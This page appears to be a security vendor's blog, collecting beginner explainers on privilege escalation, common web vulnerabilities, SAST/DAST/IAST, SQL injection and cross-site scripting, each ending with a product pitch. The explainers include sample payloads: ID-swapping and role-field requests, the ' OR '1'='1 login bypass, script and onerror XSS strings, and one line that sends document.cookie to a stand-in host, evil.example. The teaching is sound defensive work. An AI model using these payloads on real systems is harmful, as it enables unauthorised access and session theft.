    Authentication proves who you are. Authorization decides what you may do. Privilege escalation is the gap that opens when the second check is missing or wrong.

    The two kinds: horizontal and vertical

    Almost every case fits into one of two shapes. Both come from the same root cause, a missing server side check, but they reach different targets.

    Horizontal escalation: acting as another user at the same level

    Horizontal escalation means you stay at your own permission level but act as a different account at that same level. You are a member, and you reach into another member’s data.

    In Acme Notes, suppose the app loads a note like this:

    GET /api/notes/8841
    Authorization: Bearer (your real token)

    You own note 8841. Out of curiosity you change the number:

    GET /api/notes/8842

    If the server returns note 8842 and it belongs to someone else, the app never checked ownership. It saw a valid login and trusted the request. That is a classic example, often called an insecure direct object reference. The same flaw shows up on profile pages such as /api/users/1207/settings, on invoices, on file downloads, and anywhere an identifier appears in the URL or body.

    Vertical escalation: becoming an admin

    Vertical escalation means you climb to a higher permission level than your account should have. A member becomes an admin. Here are two simple invented examples.

    • Flipping a role field. Imagine the signup or profile update endpoint accepts the whole user object and saves every field it receives. You send your normal update but add one line:
      PATCH /api/users/me
      {
        "displayName": "Sam",
        "role": "admin"
      }

      If the server saves role straight from the request body, you just promoted yourself. This is a mass assignment bug, and it turns a profile form into an admin switch.

    • Hitting an admin only endpoint directly. The admin dashboard link is hidden from your navigation bar, so it feels protected. But the button only hides the link, it does not guard the route. You guess or read the path and call it yourself:
      POST /api/admin/users/3092/delete

      If the server runs the action because you are logged in, without checking that you are an admin, the hidden link was the only lock on the door.

    How it connects to broken access control

    Privilege escalation is the practical result of broken access control. Access control is the set of rules about who can do what. When those rules are checked in the browser only, or checked for some routes but forgotten on others, or written so that any logged in user passes, the control is broken. An attacker walks straight through the gap.

    The pattern repeats across apps because the checks are scattered. One endpoint verifies ownership, the next one nearby does not. A new feature ships without the guard the older feature had. You can read more in our access control category, where this family of bugs lives.

    How to spot it

    You find these bugs by questioning what the app assumes about you, then testing each assumption with a real request. A few concrete checks:

    • Change the identifier. Take any request with an id in the path or body and swap it for an id you do not own. If you get data back, you found horizontal escalation.
    • Add fields the form does not show. Send role, isAdmin, accountType, or ownerId in an update request and see if the server keeps them.
    • Call privileged routes as a low rights user. List every admin endpoint you can find and request each one with a plain member token. A 200 OK where you expected 403 is the bug.
    • Compare two accounts. Log in as a member and as an admin. Watch which checks the server applies to one and skips for the other.

    The mindset matters more than any single test. You are not throwing known payloads at the app. You are reading how the app expects to be used, then asking what happens when you step outside that expectation.

    How to prevent it

    Every fix comes back to one rule: check authorization on the server, for every request, against the user making it.

    • Check ownership and role on each request. Before returning note 8842, confirm the note’s owner matches the logged in user. Before running an admin action, confirm the caller is an admin. Do this on the server, never in the browser alone.
    • Deny by default. New routes should reject access until you explicitly allow it. A forgotten guard should fail closed, not open.
    • Never trust client supplied fields for permissions. Read role and ownerId from your database record for the session, not from the request body. Allow list the fields an update may change.
    • Use one shared authorization layer. When every route calls the same access check, you stop the slow drift where one endpoint is safe and the next one is not.
    • Test the negative case. Write tests that confirm a member gets 403 on admin routes and cannot read another member’s data. Run them on every change.

    Privilege escalation rarely announces itself. There is no crash and no error in the logs, just a request that succeeded when it should have failed. That quietness is exactly why testing the assumptions an app makes finds these bugs when a fixed list of payloads will not. It is the kind of flaw an autonomous researcher built to understand an app, form ideas about where its logic breaks, and verify each finding with real evidence is made to catch. If you want to see how we think about this, read more about UnboundCompute.

    Frequently asked questions

    What is privilege escalation in a web application?

    Privilege escalation is when a user performs an action or reads data their account should not be allowed to touch, because the app trusts the request without checking on the server whether that specific user is permitted. The attacker does not break the login, they log in as themselves and then reach further than their account allows.

    What is the difference between horizontal and vertical privilege escalation?

    Horizontal escalation means you stay at your own permission level but act as a different account at that same level, such as reading another member’s note by changing the id. Vertical escalation means you climb to a higher level than your account should have, such as a member becoming an admin. Both come from the same root cause, a missing server side check.

    How can I test my app for privilege escalation?

    Change an id in a request to one you do not own and see if data comes back, add fields like role or isAdmin to an update and see if the server keeps them, and call admin only routes with a plain member token. A 200 OK where you expected 403 is the bug. The OWASP Broken Access Control entry describes the underlying weakness.

    How do you prevent privilege escalation?

    Check authorization on the server, for every request, against the user making it. Deny by default so a forgotten guard fails closed, read role and ownership from your database record rather than the request body, and route every endpoint through one shared authorization layer.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • The most common web vulnerabilities, explained simply

    The most common web vulnerabilities, explained simply

    The most common web vulnerabilities are broken access control, injection, cross site scripting, authentication failures, security misconfiguration, and business logic flaws. Those six explain the majority of real breaches you read about. If you are new to security the list of things that can go wrong feels endless, but the same handful of mistakes show up again and again. This post walks through each one in plain words, loosely following the OWASP Top 10, with a tiny example for each.

    Why do the most common web vulnerabilities matter more than the rare ones?

    They matter more because attackers are practical. They reach for the bugs that are easy to find and pay off fast, which is why the most common web vulnerabilities keep topping every list. Understand these six and you can spot a large share of the types of security vulnerabilities in any app you touch. The table below is the short version.

    The bugs that cause the most damage are rarely exotic. They are ordinary mistakes that nobody tested for.

    Vulnerability What breaks Typical fix
    Broken access control You are logged in, but the app never checks that this record is yours Check ownership on the server for every request
    Injection Input is mixed into a query or command and changes what it does Use parameterized queries so input stays a value
    Cross site scripting (XSS) One user’s input runs as code in another user’s browser Escape output, and set cookies as HttpOnly
    Authentication failures The app can be fooled about who you are Long random tokens, single use and short lived, plus rate limits
    Security misconfiguration Defaults and forgotten settings leak detail or expose admin surfaces Generic errors, private logs, debug off in production
    Business logic flaws Every request is valid, but the values or sequence break an assumed rule Test what happens when the app’s assumptions are false

    What is broken access control?

    Broken access control is when the app lets one user reach data or actions that should belong to someone else. The code checks that you are logged in, but forgets to check whether this specific thing is yours.

    A tiny example

    Say a notes app shows your note here:

    GET /api/notes/1042

    You change the number by hand:

    GET /api/notes/1043

    If the server returns someone else’s note, that is broken access control. The app trusted the ID in the request instead of checking that note 1043 belongs to you. This class tops most surveys, and it is easy to miss because every screen looks fine when you test with your own account. The access control category covers how these checks fail and how to test for them.

    What is injection?

    Injection happens when user input is mixed straight into a command, a query, or a template, so the input can change what that command does. The classic case is SQL injection.

    A tiny example

    Imagine a login query built by gluing strings together:

    SELECT * FROM users WHERE email = '" + email + "'

    A visitor types this into the email field:

    ' OR '1'='1

    Now the query always matches, and the attacker is logged in as the first user in the table. The fix is to stop mixing data and code: use parameterized queries. The same idea applies to operating system commands and template engines, and the injection and input category goes through the main flavors and the safe patterns.

    What is cross site scripting (XSS)?

    XSS is injection aimed at the browser. The app takes input from one user and shows it to another without cleaning it, so it runs as code in the victim’s browser.

    A tiny example

    A comment box lets you post this:

    <script>fetch('https://evil.example/steal?c='+document.cookie)</script>

    If the app prints comments back onto the page as raw HTML, everyone who views that comment runs the script, and their session cookie goes to the attacker. The fix is to escape output so <script> shows up as text, and to set cookies as HttpOnly so scripts cannot read them. Our free cookie security auditor checks those flags for you.

    What are authentication failures?

    Authentication failures cover the ways an app fails to confirm who someone really is: weak passwords allowed, no limit on login attempts, reset tokens that never expire, session IDs that are easy to guess. Our free password strength analyzer shows how length changes survival time against guessing.

    A tiny example

    An app sends a password reset link with a token in the URL:

    https://acme-notes.example/reset?token=100024

    The token is just a counter. An attacker requests a reset for their own account, sees token 100024, then tries 100023 and 100025 to hijack other accounts. Reset tokens should be long, random, single use, and short lived, and reset endpoints rate limited so guessing is slow and noisy.

    What is security misconfiguration?

    Security misconfiguration is when the code is fine and the setup is the problem. Default passwords, debug mode on in production, a storage bucket set to public, an admin panel exposed to the internet, verbose errors that leak stack traces.

    A tiny example

    A server returns a detailed error:

    500 Internal Server Error
    DBException: connection failed for user 'root' at db-prod-01:5432
    Stack trace: /app/services/billing.py line 88 ...

    That message hands an attacker the database user, the host, the port, and a map of your code. Show users a generic error, log the detail privately, and turn off debug output before you ship. It is common because it lives in defaults and forgotten settings, not in any line of code you wrote on purpose.

    What are business logic flaws?

    Business logic flaws are bugs where every individual request is valid, but the sequence or the values break a rule the app assumed nobody would break. There is no special character to escape and no obvious payload; the flaw is in the logic itself.

    A tiny example

    A checkout flow charges a discount based on a quantity sent by the client:

    POST /api/cart/add
    { "item": "license", "quantity": -3, "unit_price": 50 }

    Nobody expected a negative quantity, so the total becomes a credit and the customer gets paid to order. Another version: applying the same single use coupon twice by sending two requests at once, before the first marks it as spent. Generic tools rarely catch these, because finding them means understanding what the app should do, then asking what happens when an assumption is false.

    How do these classes connect?

    They connect by chaining, because most real incidents are a chain rather than a single bug. An attacker might use a misconfiguration leak to learn an internal URL, then broken access control to read another tenant’s records, then a business logic flaw to escalate. Learning them as separate ideas is the start; seeing how they combine is what makes someone good at the work.

    • Broken access control: can I reach things that are not mine?
    • Injection: is my input being treated as code?
    • XSS: can my input run in someone else’s browser?
    • Authentication failures: can the app be fooled about who I am?
    • Security misconfiguration: is the setup leaking or wide open?
    • Business logic flaws: what rule did the app assume I would never break?

    Where should you go from here?

    Pick one class and practice spotting it in a small app you control, or in the free labs of the Web Security Academy. Change an ID in a URL. Type a quote into a search box and watch the error. Send a negative number where a positive one is expected. The habit is asking what the app assumes, then testing whether that assumption holds.

    That last question, what does this app assume and what happens when the assumption is false, is exactly the kind of bug an autonomous researcher that tests assumptions is built to find. UnboundCompute learns how an app is meant to work, forms ideas about where the logic could break, runs experiments, and proves a finding with concrete evidence before reporting it. If that approach interests you, read more on the about page.

    Frequently asked questions

    What are the most common web application vulnerabilities?

    The handful that show up again and again are broken access control, injection, cross site scripting, authentication failures, security misconfiguration, and business logic flaws. Learning these classes explains the majority of real breaches you read about. The OWASP Top 10 tracks this list in detail.

    What is the most common serious web vulnerability?

    Broken access control tops most surveys. It happens when the app confirms you are logged in but forgets to check whether you are allowed to touch a specific thing, so changing an id like /api/notes/1042 to /api/notes/1043 returns someone else’s data.

    What is a business logic flaw and why do scanners miss it?

    A business logic flaw is when every individual request is valid but the values or the sequence break a rule the app assumed nobody would break, such as sending a negative quantity at checkout so the total becomes a credit. There is no special character or payload to flag, so generic tools miss it because finding it means understanding what the app is supposed to do.

    How do real attackers combine these vulnerabilities?

    Most real incidents are a chain, not a single bug. An attacker might use a small leak from a misconfiguration to learn an internal URL, use broken access control to read another tenant’s records, then use a business logic flaw to escalate further.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • SAST vs DAST vs IAST, what is the difference?

    SAST vs DAST vs IAST, what is the difference?

    If you have shopped for application security tools, you have run into the alphabet soup of SAST, DAST, and IAST. The sast vs dast question is the one most teams start with, but IAST sits in the middle and changes the answer. This post gives plain definitions for all three, shows what each catches and misses, and is honest about where they fall short.

    The short version of sast vs dast vs iast

    The three tools differ by where they stand and what they can see.

    • SAST (Static Application Security Testing) reads your source code without running it. It looks for dangerous patterns in the text of the program.
    • DAST (Dynamic Application Security Testing) tests the running app from the outside, like an attacker with no source code. It sends requests and reads responses.
    • IAST (Interactive Application Security Testing) watches from inside the running app. An agent sits in the process and sees both the incoming request and the line of code that handles it.

    SAST: reading the source code

    SAST parses your code and models how data flows through it. It traces a value from where it enters, such as a request parameter, to where it gets used, such as a database query or an HTML response. If tainted input reaches a dangerous function without being cleaned, SAST flags it.

    Here is the kind of flow SAST is good at spotting:

    name = request.args.get("name")
    query = "SELECT * FROM users WHERE name = '" + name + "'"
    db.execute(query)

    The user controls name, it lands in a SQL string with no escaping, and SAST follows that path from input to sink.

    What SAST catches

    • Injection patterns: SQL, command, and template injection where input flows into a sink.
    • Hardcoded secrets, weak crypto calls, and unsafe deserialization. Spotting a key or password committed straight into source is a classic static analysis check, and our free secret scanner runs that same kind of pattern check over code you paste in.
    • Bugs on code paths that are hard to reach with traffic, since SAST reads every branch whether or not it runs.

    What SAST misses

    • Anything that depends on configuration or the live environment. A query that looks unsafe may sit behind a parameterized layer SAST cannot model.
    • Logic that lives in a framework, a stored procedure, or a third party library the scanner does not parse.

    DAST: testing the running app from outside

    DAST treats the app as a black box. It crawls the pages, finds inputs, and throws payloads at them to see how the app reacts. If a request returns a database error or a reflected script, DAST records a finding.

    A simple DAST probe for reflected cross site scripting looks like this:

    GET /search?q=<script>alert(1)</script> HTTP/1.1
    Host: acmenotes.example

    If that <script> tag comes back in the HTML response unescaped, the app is reflecting raw input and DAST flags it.

    What DAST catches

    • Real behavior of the deployed app, including server config, headers, and TLS settings.
    • Reflected and stored injection, broken authentication flows, and missing security headers.
    • Issues that only show up once everything is wired together.

    What DAST misses

    • Code paths it never reaches. If the crawler does not find a form or an API route, that route is never tested.
    • The exact line of code at fault. DAST tells you the app misbehaved, not where in the source to fix it.
    • Bugs that need a valid login or a specific account state the scanner cannot reproduce.

    IAST: watching from inside while the app runs

    IAST puts an agent inside the running process, often through the language runtime. As traffic flows through the app, the agent sees the request, follows the data through the code that executes, and watches it reach a sink. It is dynamic like DAST, but with the inside view DAST lacks. So it can say something precise: this request reached this query on this line with this tainted value. That pairing is its main advantage.

    What IAST catches

    • Injection and input flaws confirmed against code that actually ran, so fewer guesses.
    • The specific file and line, which makes the fix faster than with DAST alone.
    • Flaws deep inside libraries, since the agent watches data move through them at run time.

    What IAST misses

    • Code that is never exercised. IAST only sees paths that real traffic or tests drive, so coverage depends on how thoroughly the app is used during testing.
    • Languages and runtimes the agent does not support, since instrumentation is tied to the platform.
    • Bugs outside the instrumented process, such as flaws in a separate service.

    Side by side: sast vs dast vs iast

    • SAST. Sees source code, does not run the app. Strong on coverage of every branch. Weak on run time and config reality.
    • DAST. Sees outside behavior, runs the app, needs no source. Strong on real deployed behavior. Weak on pointing to the exact code.
    • IAST. Sees inside the running app, needs runtime access. Strong on precise, confirmed findings. Weak on coverage of paths that never run.

    Where false positives come from

    Each tool gets noisy for its own reason.

    • SAST flags a path that looks dangerous but is safe, because it cannot see that a value was validated in a way it does not model, or that the path is dead code.
    • DAST reads a response and guesses. A database error in the page can be a leftover string, not proof of injection, so it raises a finding that is not real.
    • IAST is usually the quietest, because it confirms a finding against code that ran. Even so, it can mistake a safe sanitizer for a missing one if it does not recognize the cleaning function you use.

    The cost is real. Every wrong alert is time a developer spends ruling it out, and a backlog of noise trains teams to ignore the tool.

    The honest limit: none of them understand business logic

    Here is the part the vendor pages skip. All three look for known shapes of bugs. None understands what your app is supposed to do.

    Pattern matchers find the bug they were told to look for. They do not ask whether a user who can read invoice 41 should be able to read invoice 42.

    Consider GET /api/invoices/42 where the logged in user only owns invoice 41. Nothing in that request is malformed. No script tag, no SQL, no broken header. SAST sees clean code, DAST sees a normal 200 response, and IAST sees a safe query running. They all agree the request is fine, and they are all wrong, because the app forgot to check who owns invoice 42. This is broken access control, one of the most common serious bugs in real apps, and the scanners miss it because there is no pattern.

    For more on this gap between pattern matching tools and real reasoning about an app, read scanners vs research.

    So which one do you need?

    For most teams it is not one tool but a stack. SAST runs early on every commit and catches obvious sink bugs before they ship. DAST runs against a deployed build and shows how the real app behaves. IAST rides along with your existing tests and gives precise findings on the paths your traffic touches. They overlap, and that overlap is fine, because each one fails in a different place.

    What none of them replaces is a tester who reads the app’s logic and asks whether its assumptions hold. That assumption testing is exactly the kind of work an autonomous researcher is built to do, looking past fixed payload lists to the rules an app quietly trusts. Read how we think about it on our about page.

    Frequently asked questions

    What is the difference between SAST, DAST, and IAST?

    SAST reads your source code without running it and looks for dangerous patterns in the text. DAST tests the running app from the outside like an attacker with no source code. IAST puts an agent inside the running process so it sees both the incoming request and the line of code that handles it. The OWASP guidance on source code analysis tools covers the static side in more depth.

    Which is better for finding bugs, SAST or DAST?

    Neither is strictly better because they fail in different places. SAST covers every code branch whether or not it runs but cannot see live config or runtime reality, while DAST shows real deployed behavior but cannot point to the exact line of code or reach routes its crawler never finds. Most teams run both rather than picking one.

    Why does IAST usually have fewer false positives?

    IAST confirms a finding against code that actually ran, watching a tainted value reach a specific sink on a specific line, so it guesses less than DAST or SAST. It can still misfire if it does not recognize a safe sanitizer you use, and it only sees paths that real traffic or tests exercise.

    Can SAST, DAST, or IAST find broken access control?

    Usually no. A request like GET /api/invoices/42 from a user who only owns invoice 41 is well formed, returns a normal 200, and runs a safe query, so all three tools see nothing wrong. They look for known bug shapes and do not understand which user should be allowed to read which object.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is SQL injection and how does it work?

    What is SQL injection and how does it work?

    SQL injection is one of the oldest bugs on the web, and it still shows up in real applications today. At its core, SQL injection happens when an application builds a database query by gluing user input directly into the query text, so an attacker can send input that changes what the query means. This post explains what SQL injection is and how it works, with a small login example you can read in a minute.

    What is SQL injection in plain terms

    A web app talks to its database using SQL, a language for asking questions like “find the user with this email.” When the app writes that question, it often needs to drop in a value the user typed, like an email or a password. The safe way is to keep that value as data. The unsafe way is to paste it straight into the query string. When the app pastes it in, the user controls part of the query, not just part of the answer.

    Here is the key idea. The database cannot tell the difference between the query the developer meant to write and the extra query syntax the attacker typed. It just runs whatever text it receives. So if the input contains quotes, operators, or SQL keywords, those become part of the command.

    If user input can change the structure of a query instead of just the values inside it, the user is writing your SQL for you.

    How does SQL injection work in a login query

    Imagine a login form on an invented app called Acme Notes. The server takes the email and password and builds a query by string concatenation. In a backend language this might look like the following.

    query = "SELECT id FROM users WHERE email = '" + email + "' AND password = '" + password + "'"

    If a normal user types alice@example.com and hunter2, the final query is exactly what the developer expected.

    SELECT id FROM users WHERE email = 'alice@example.com' AND password = 'hunter2'

    Now look at what happens when an attacker types ' OR '1'='1 into the email field and leaves the password blank or fills it with anything. The concatenation produces this.

    SELECT id FROM users WHERE email = '' OR '1'='1' AND password = ''

    The attacker’s quote closed the email string early, and the added OR '1'='1' is a condition that is always true. The query no longer asks “is this the right email and password.” It asks something the developer never wrote. Depending on how the rows come back, this can return a user record and let the attacker through the login without knowing any real credentials. The same trick, with different syntax, can read data the attacker should never see.

    Why the quote matters

    The single quote is the turning point. Inside the query, a quote marks the start and end of a text value. When user input is allowed to contain its own quote, it can break out of the value and into the command. Everything after the breakout is treated as SQL, not as data. That is the whole mechanism in one sentence.

    What is the purpose of an SQL injection and what can an attacker do

    The purpose of an SQL injection, from the attacker’s side, is to make the database run commands the application never intended. Once they can shape the query, the range of damage is wide.

    • Bypass login, as shown above, by forcing a condition to be true.
    • Read other people’s data, like dumping every row in the users table or pulling password hashes, order history, or private notes.
    • Change or delete data, by injecting an UPDATE or DELETE when the query allows it.
    • Probe blindly, where the app shows no data but behaves differently for true and false conditions, so the attacker reads the database one yes or no answer at a time.
    • Reach further in, since on some setups a database account has enough rights to read files or run system commands.

    The common thread is trust. The app trusted that the email field held an email. The attacker proved that assumption wrong.

    Why SQL injection still happens

    This bug class has been understood for over twenty years, so it is fair to ask why it keeps appearing. A few honest reasons.

    • String building feels natural. Concatenating a query reads like normal code, and it works in testing because testers type ordinary input.
    • It hides in corners. The main login form might be safe while a search filter, an export feature, or an admin report still pastes input into a query.
    • ORMs are not a free pass. Many query builders are safe by default, but most also offer a raw query escape hatch, and that is where the bug sneaks back in.
    • Inputs you forget about. Headers, cookies, and JSON fields all reach the database too, not just visible form boxes.

    How to fix and prevent it

    The fix is direct, and it is the same idea every time. Keep user input as data, never as query structure. The standard tool for that is parameterized queries, also called prepared statements.

    Use parameterized queries

    With a parameterized query, you write the SQL once with placeholders, then pass the values separately. The database treats those values as pure data, so a quote in the input is just a quote, not a command. Here is the same login, done safely.

    query = "SELECT id FROM users WHERE email = ? AND password_hash = ?"
    db.execute(query, [email, password_hash])

    Now if someone sends ' OR '1'='1, the database looks for a user whose email is literally the string ' OR '1'='1. It finds none, and the login fails as it should. The attacker lost the ability to change the query’s shape.

    Back it up with more layers

    • Hash passwords and compare hashes, so a query never holds a raw password to begin with.
    • Validate input against what you expect, such as an email format, to reject obvious junk early. Treat this as a helper, not the main defense.
    • Limit database rights, so the account the app uses cannot drop tables or read files it never needs.
    • Review the raw query paths, since those escape hatches are where injection survives. Search the code for places that build a query from a string.

    If you want more on this family of bugs and how to catch them, the injection and input category collects related explainers.

    How to tell if your app has this bug

    Finding SQL injection is less about throwing payloads and more about understanding which inputs reach a query and what the app assumes about them. A scanner can flag the obvious cases. The harder ones live in the assumptions, like a report filter that quietly trusts a sort parameter, or a search field that an ORM passes through as raw SQL. Those need someone, or something, that reads how the app is meant to work and then tests where that logic could break.

    SQL injection is a clear example of one trusted assumption, that an input is only data, turning into full control of a query. This is exactly the kind of bug an autonomous researcher that tests an application’s assumptions is built to find and then prove with real evidence. You can read more about that approach on the about page.

    Frequently asked questions

    What is SQL injection in simple terms?

    SQL injection is a bug where an application builds a database query by pasting user input straight into the query text, so an attacker can send input that changes what the query does instead of just supplying a value. The database runs the whole string, so a quote or keyword in the input becomes part of the command. See the OWASP SQL Injection page for more.

    How does a SQL injection login bypass work?

    The attacker types something like ' OR '1'='1 into a field that gets concatenated into the query. The added quote closes the string early and the always true condition makes the WHERE clause match a row, so the login can succeed without a real password.

    How do you prevent SQL injection?

    Use parameterized queries, also called prepared statements, so the SQL is written with placeholders and the values are passed separately as pure data. Then a quote in the input stays a quote and cannot change the query structure. Back this up by limiting database account rights and reviewing any raw query paths.

    Can an ORM stop SQL injection on its own?

    Not entirely. Many query builders are safe by default, but most also offer a raw query escape hatch, and that is where injection sneaks back in. You still need to review every place that builds a query from a string.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is XSS and how does it work? With examples

    What is XSS and how does it work? With examples

    If you have ever wondered what is XSS and how does it work, the short answer is this: cross site scripting happens when an app takes input from one user and hands it to another user’s browser as code instead of plain text. The browser runs that code with the same trust it gives the real site. That means an attacker can read cookies, change the page, or act as the victim.

    What cross site scripting actually is

    A web page mixes two kinds of content. There is the markup and script the site author wrote, and there is data, like a comment, a search term, or a username. The browser cannot tell them apart on its own. It trusts whatever the server sends. Cross site scripting is the bug where attacker data crosses over and becomes script.

    Here is the core idea. A user types a comment. The app stores it. Later the app prints that comment back into the HTML of a page. If the app prints it raw, and the comment contains a <script> tag, the tag runs in the next reader’s browser. The attacker never touched that reader. The site delivered the payload for them.

    The browser runs attacker text as code because the app never told it where the data ends and the markup begins.

    Why it matters

    Script that runs on the page runs as the logged in user. It can read document.cookie if the session cookie is not protected, submit forms, or quietly change account settings. The attacker does not need the victim’s password. They borrow the victim’s open session.

    The three types of XSS, with simple examples

    People sort cross site scripting into three buckets based on where the bad input lives and how it reaches the browser. The examples below use an invented app called Acme Notes, a small site where people post public notes and comments. None of these target a real system.

    Stored XSS

    Stored XSS means the payload is saved in the database and served to everyone who views the page. It is the worst of the three because one submission can hit many users. This is a clear stored xss example.

    Imagine the comment box on Acme Notes. A visitor submits this in the comment field:

    <script>alert('xss')</script>

    The app saves the text as is. When the note page renders, it builds the HTML like this on the server:

    <div class="comment">
      <script>alert('xss')</script>
    </div>

    Now every person who opens that note runs the script. The alert('xss') is harmless on its own. It only pops a box. But a real attacker would swap it for code that reads the session cookie and sends it to a server they control. Same hole, worse payload.

    Reflected XSS

    Reflected XSS means the payload is not stored. It rides in the request, usually in a URL, and the server reflects it straight back into the response. The victim has to open a crafted link. This is a plain reflected xss example.

    Say Acme Notes has a search page that shows what you searched for:

    https://acme-notes.example/search?q=hello

    The page prints: You searched for: hello. If the app prints the q value raw, an attacker can build a link where q is a script:

    https://acme-notes.example/search?q=<script>alert('xss')</script>

    Anyone who clicks that link runs the script in their own browser, on the real Acme Notes domain. The attacker sends the link by email or chat. The bug is on the page, but the trigger is the click.

    DOM based XSS

    DOM based XSS happens fully in the browser. The server may send clean HTML, but client JavaScript reads attacker input and writes it into the page in an unsafe way. The dangerous step is in the script the site already ships.

    Suppose Acme Notes shows a welcome banner using the part of the URL after the #:

    const name = location.hash.slice(1);
    document.getElementById('banner').innerHTML = 'Hi ' + name;

    Now an attacker shares this link:

    https://acme-notes.example/#<img src=x onerror=alert('xss')>

    The innerHTML assignment turns the text into real elements. The broken image fires its onerror handler, and the script runs. The server never saw the payload, because the part after # never leaves the browser. That is why server side filters miss it.

    What is XSS and how does it work under the hood

    Every variant of cross site scripting comes from one root cause. The app treats untrusted input as trusted output. The fix is to keep data as data the whole way through. There are two layers that do most of the work.

    Output encoding

    Encode data for the exact spot where it lands. When you put user text inside HTML, convert the characters that have meaning in HTML so the browser shows them instead of running them:

    • < becomes &lt;
    • > becomes &gt;
    • & becomes &amp;
    • " becomes &quot;

    After encoding, the earlier stored payload renders as visible text:

    <div class="comment">
      &lt;script&gt;alert('xss')&lt;/script&gt;
    </div>

    The reader sees the literal characters and nothing runs. Most template engines do this for you if you use their normal output syntax instead of a raw or unescaped output. Encoding depends on context. HTML body, an HTML attribute, JavaScript, and a URL each need their own encoding rules, so use a library that knows the difference rather than rolling your own escapes.

    Avoid the unsafe sinks

    For DOM based bugs, stop feeding untrusted input into sinks that parse HTML or run code. Reach for safe ones instead:

    • Use textContent instead of innerHTML when you only need text.
    • Avoid eval, setTimeout with a string, and document.write on user input.
    • Set attributes with setAttribute rather than building HTML strings by hand.

    Content Security Policy

    A Content Security Policy is a response header that tells the browser which scripts are allowed to run. It is a second line of defense, not a replacement for encoding. A strict policy blocks inline scripts and scripts from domains you did not approve:

    Content-Security-Policy: default-src 'self'; script-src 'self'

    With that header, an injected inline <script> is refused even if it slips into the page. Pair it with the HttpOnly flag on session cookies so script cannot read them through document.cookie. Layered defenses mean one mistake does not hand over the account. To find the weak spots in a policy before you ship it, our free Content Security Policy evaluator audits each directive and flags bypassable sources. You can check whether a site sets a strong policy and the rest of its security headers with our free security headers and CSP analyzer, which runs entirely in your browser.

    How to spot it before an attacker does

    Finding cross site scripting is partly about knowing where input flows. Trace every place the app reads input, then follow it to every place that input is written back out. Comment fields, search boxes, profile names, URL parameters, and error messages that echo your input are common starting points. For a wider tour of input bugs, see our injection and input category.

    The hard cases are the ones that depend on how the app assumes its own data behaves, like a field that is encoded in one view and printed raw in another. Those gaps show up when you understand what the app expects, not just when you throw a list of payloads at it. This is exactly the kind of bug an autonomous researcher that tests an app’s assumptions is built to find and then prove with real evidence. You can read more about that approach on our about page.

    Frequently asked questions

    What is XSS and how does it work?

    Cross site scripting, or XSS, happens when an app takes input from one user and hands it to another user’s browser as code instead of plain text. The browser runs that code with the same trust it gives the real site, so an attacker can read cookies, change the page, or act as the victim. The root cause is that the app treats untrusted input as trusted output. Learn more at the PortSwigger Web Security Academy.

    What are the three types of XSS?

    Stored, reflected, and DOM based. Stored XSS saves the payload in the database and serves it to everyone who views the page, which makes it the worst because one submission can hit many users. Reflected XSS rides in a request such as a URL and is echoed straight back, so the victim has to open a crafted link. DOM based XSS happens fully in the browser when client JavaScript writes attacker input into the page unsafely.

    How do I prevent cross site scripting?

    Keep data as data the whole way through. Encode user input for the exact context where it lands, so characters like < and > render as visible text instead of running, and let your template engine’s normal output syntax handle it rather than rolling your own escapes. For DOM bugs, prefer safe sinks like textContent over innerHTML and avoid eval and document.write on user input.

    Does a Content Security Policy stop XSS on its own?

    No. A Content Security Policy is a second line of defense, not a replacement for output encoding. A strict policy like default-src 'self'; script-src 'self' blocks inline scripts and scripts from domains you did not approve, so an injected inline script is refused even if it slips into the page. Pair it with the HttpOnly flag on session cookies so script cannot read them, since layered defenses mean one mistake does not hand over the account.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.